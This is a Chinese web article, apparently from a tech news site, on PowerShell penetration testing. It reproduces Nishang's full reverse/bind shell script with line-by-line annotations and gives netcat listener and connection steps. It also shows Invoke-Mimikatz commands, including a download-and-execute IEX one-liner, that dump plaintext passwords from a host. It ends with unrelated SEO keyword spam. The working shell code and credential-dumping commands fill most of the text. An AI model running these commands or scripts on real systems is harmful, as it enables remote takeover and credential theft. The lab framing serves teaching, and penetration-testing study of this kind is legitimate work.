千家信息网

Powershell渗透测试的示例分析

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,小编给大家分享一下Powershell渗透测试的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!0x01 补充知识a
千家信息网最后更新 2026年10月31日Powershell渗透测试的示例分析

小编给大家分享一下Powershell渗透测试的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!

0x01 补充知识

a 命令格式

 -< Required Parameter Name > 命令 -名称 请求参数名 请求参数值[ -< Optional Parameter Name > ][ -< Optional Switch Parameters >][ -< Optional Parameter Name >] 

b 等价别名

许多命令都有别名以及使用DOS的人或Unix这些可以非常熟悉。 别名是一种简短的命令形式但是其作用是等价的。

Command Aliases (命令别名)clear-host cls, clearformat-list flget-childitem gci, ls, dirget-content gc, cat, typeget-location gl, pwdget-member gmremove-item ri, rm, rmdir, del, erase, rdwrite-output write, echo

c 执行策略问题

Powershell脚本执行策略是默认不允许执行任何脚本,如果我们没有修改过执行策略而直接运行可能出现以下问题。


解决办法

首先查看脚本执行策略设置情况,可以通过 Get-ExecutionPolicyget-executionpolicy命令。如果显示 Restricted 即不允许执行任何脚本。使用管理员身份运行powerhsell然后执行命令:set-executionpolicy remotesigned 回车之后即可执行脚本。



0x02 分析TCP交互式PowerShell脚本

该脚本取之于nishang这个框架,Nishang是一个PowerShell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合。Nishang被广泛应用于渗透测试的各个阶段。下载地址:https://github.com/samratashok/nishang。

先贴上其TCP交互式PowerShell脚本(建立一个TCP正向连接或反向连接shell )代码如下:

function Invoke-PowerShellTcp { <#.SYNOPSISNishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTIONThis script is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port.The script is derived from Powerfun written by Ben Turner & Dave Hardy.PARAMETER IPAddressThe IP address to connect to when using the -Reverse switch..PARAMETER PortThe port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens..EXAMPLEPS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on the given IP and port. .EXAMPLEPS > Invoke-PowerShellTcp -Bind -Port 4444Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLEPS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must belistening on the given IP and port. .LINKhttp://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.htmlhttps://github.com/nettitude/powershell/blob/master/powerfun.ps1https://github.com/samratashok/nishang注释部分#>          [CmdletBinding(DefaultParameterSetName="reverse")] Param(        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]        [String]        $IPAddress,        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]        [Int]        $Port,        [Parameter(ParameterSetName="reverse")]        [Switch]        $Reverse,        [Parameter(ParameterSetName="bind")]        [Switch]        $Bind    )    try     {        #Connect back if the reverse switch is used.        if ($Reverse)        {            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)        }        #Bind to the provided port if Bind switch is used.        if ($Bind)        {            $listener = [System.Net.Sockets.TcpListener]$Port            $listener.start()                $client = $listener.AcceptTcpClient()        }         $stream = $client.GetStream()        [byte[]]$bytes = 0..65535|%{0}        #Send back current username and computername        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")        $stream.Write($sendbytes,0,$sendbytes.Length)        #Show an interactive PowerShell prompt        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')        $stream.Write($sendbytes,0,$sendbytes.Length)        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)        {            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding            $data = $EncodedText.GetString($bytes,0, $i)            try            {                #Execute the command on the target.                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )            }            catch            {                Write-Warning "Something went wrong with execution of command on the target."                 Write-Error $_            }            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '            $x = ($error[0] | Out-String)            $error.clear()            $sendback2 = $sendback2 + $x            #Return the results            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)            $stream.Write($sendbyte,0,$sendbyte.Length)            $stream.Flush()          }        $client.Close()        if ($listener)        {            $listener.Stop()        }    }    catch    {        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."         Write-Error $_    }}
a 注释部分

注释部分描述了脚本的概要、用途、脚本的事例、参考链接等信息。

<#.SYNOPSISNishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTIONThis script is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port.The script is derived from Powerfun written by Ben Turner & Dave Hardy.PARAMETER IPAddressThe IP address to connect to when using the -Reverse switch..PARAMETER PortThe port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens..EXAMPLEPS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on the given IP and port. .EXAMPLEPS > Invoke-PowerShellTcp -Bind -Port 4444Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLEPS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must belistening on the given IP and port. .LINKhttp://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.htmlhttps://github.com/nettitude/powershell/blob/master/powerfun.ps1https://github.com/samratashok/nishang注释部分#>
b Param运行参数部分

DefaultParameterSetName="reverse" 说明默认采用反向shell连接的方式.可选参数和强制参数必须同时使用 reverse和bind可选默认值为reverse,但是$IPAddress和$Port必须进行设置。最后根据输入的内容匹配类型获取最终值。

 [CmdletBinding(DefaultParameterSetName="reverse")] Param(                <# DefaultParameterSetName="reverse" 说明默认采用反向shell连接的方式。                       可选参数和强制参数必须同时使用 reverse和bind可选默认值为reverse,但是$IPAddress和$Port必须                        进行设置。                    $IPAddress 目标IP地址                           $Port 目标端口                #>           [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]        [String]        $IPAddress,        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]        [Int]        $Port,        [Parameter(ParameterSetName="reverse")]        [Switch]        $Reverse,                <#                         根据输入的内容匹配类型                #>           [Parameter(ParameterSetName="bind")]        [Switch]        $Bind    )
c 主函数部分
  try     {        # 连接有可能出错所以这里使用个异常处理trt catch,        # 判断是否存在对应值,如果存在建立TCP反向shell连接,本机充当客户端。        if ($Reverse)        {            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)        }        # 判断是否存在对应值,如果存在建立TCP正向shell连接,本机充当服务端。        if ($Bind)        {            $listener = [System.Net.Sockets.TcpListener]$Port            $listener.start()                $client = $listener.AcceptTcpClient()        }                 # 构建数据流        $stream = $client.GetStream()        [byte[]]$bytes = 0..65535|%{0}        #把靶机的相关信息发送到攻击机中去        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")        $stream.Write($sendbytes,0,$sendbytes.Length)        #交互式信息提示        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')        $stream.Write($sendbytes,0,$sendbytes.Length)                # 判断数据是否传输完成,不完成就传输完为止        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)        {            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding            $data = $EncodedText.GetString($bytes,0, $i)            try            {                #执行命令,然后输出                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )            }            catch            {                    # 异常处理                Write-Warning "Something went wrong with execution of command on the target."                 Write-Error $_            }            # 用于返回当前路径            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '            $x = ($error[0] | Out-String)            # 清楚错误            $error.clear()            $sendback2 = $sendback2 + $x            #返回ASCII编码过后的数据            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)            $stream.Write($sendbyte,0,$sendbyte.Length)            $stream.Flush()              # 刷新流        }        # 关闭连接        $client.Close()        if ($listener)        {            $listener.Stop()        }    }    catch    {            # 异常处理        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."         Write-Error $_    }

0x03 脚本使用

a 导入命令模式

导入命令模式就是先导入ps1文件到powershell然后可以直接在命令行运行函数。

Import-Module '.\Invoke-PowerShellTcp .ps1'



反向连接

第一步 :在攻击机上使用nc监听本地端口4444(先监听后连接,不然会出错。)



第二步:靶机运行连接命令

Invoke-PowerShellTcp -Reverse -IPAddress 攻击机ip -Port 攻击机监听的端口



第三步: 成功连接,获取shell



正向连接

第一步: 靶机开启监听

Invoke-PowerShellTcp -bind -port 4444


第二步: 攻击机nc连接靶机

nc -nv 192.168.17.132 4444

第三步:成功连接,获取到shell


b 非导入命令模式

该模式不需要进行导入powershell,直接运行脚本。

正向连接

第一步: 在ps1文件中加入执行监听命令

Invoke-PowerShellTcp -bind


第二步: 运行ps1文件,设置监听端口,开启监听

.\Invoke-PowerShellTcp.ps1


第三步: 攻击机nc连接靶机,获取shell


反向连接

第一步:攻击机监听端口

nc -lvp 8888



第二步: 在ps1文件中加入执行连接命令

Invoke-PowerShellTcp -reverse 192.168.17.134 8888


第三步: 获取shell


0x04 Mimikatz结合Powershell 获取目标主机账号密码

实战过程中在获取低权限用户之后我们为了扩展战果我们就不得不提权,在没有0day的基础上最简单的提权方式就是直接获取目标主机的管理员账号密码。说起获取密码就不得不提提Mimikatz 这款工具了。mimikatz是由C语言编写的开源小工具,功能非常强大。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证,以及pass-the-hash、pass-the-ticket、build Golden tickets等数种黑客技术。

我这里讲的是Powershell结合Mimikatz的使用。实验环境为腾讯云的一台服务器window server 2008。

a 本地网络环境运行

第一步: 下载Invoke-Mimikatz.ps1

Invoke-Mimikatz.ps1下载地址
https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1

第二步:直接一句话运行

powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'#或者 本地搭建网络环境http://192.168.1.1/powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/');Invoke-Mimikatz -DumpCreds" <#假如存在执行策略问题:Get-ExecutionPolicy  //结果显示restrictedSet-ExecutionPolicy Unrestricted  //打开限制Import-Module .\Invoke-Mimikatz.ps1 //导入命令Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"' //获取密码#>

第三步:成功获取明文密码


b 在线网络环境运行

第一步:直接执行命令

在 Windows 2008 及以上操作系统中执⾏命令

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

注意点:靶机必须可以正常访问raw.githubusercontent.com 网络,因为需要连接下载ps1文件。 Windows Server 2014以上版本仅能获取到NTLM值,无法正常获取明文密码。

第二步: 成功获取明文密码

以上是"Powershell渗透测试的示例分析"这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注行业资讯频道!

命令 脚本 运行 攻击 监听 密码 攻击机 部分 靶机 参数 文件 成功 别名 明文 模式 注释 环境 端口 策略 网络 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网科技有限公司 上海喔噻互联网科技有限公司 广州大一互联网络科技有限公司 科技互联网产品 互联网科技有限公司图片 互联网金融公司科技 互联网与未来科技 互联网科技排名 唐信互联网科技 大连 天扬科技互联网广告 科技与互联网的利与弊 天速互联网络科技有限公司 中化能源互联网科技招聘 重庆互联网医院沙龙医盟信息科技 哈尔滨屹滨互联网科技有限公司 滨湖区互联网智能科技产品有哪些 互联网安防科技感 互联网时代科技型公司的机会 北京品多多互联网科技有限公司 优雇互联网科技有限公司 互联网与科技金融数据 重庆互联网络科技 未来的互联网科技 哈尔滨秒房互联网科技有限公司 杭州壁岐互联网科技有限公司 银川新华互联网科技学校联系电话 互联网科技圈年度人物 35岁以上互联网科技行业 北京互联网科技类企业分布 互联网科技创业计划的风险分析
0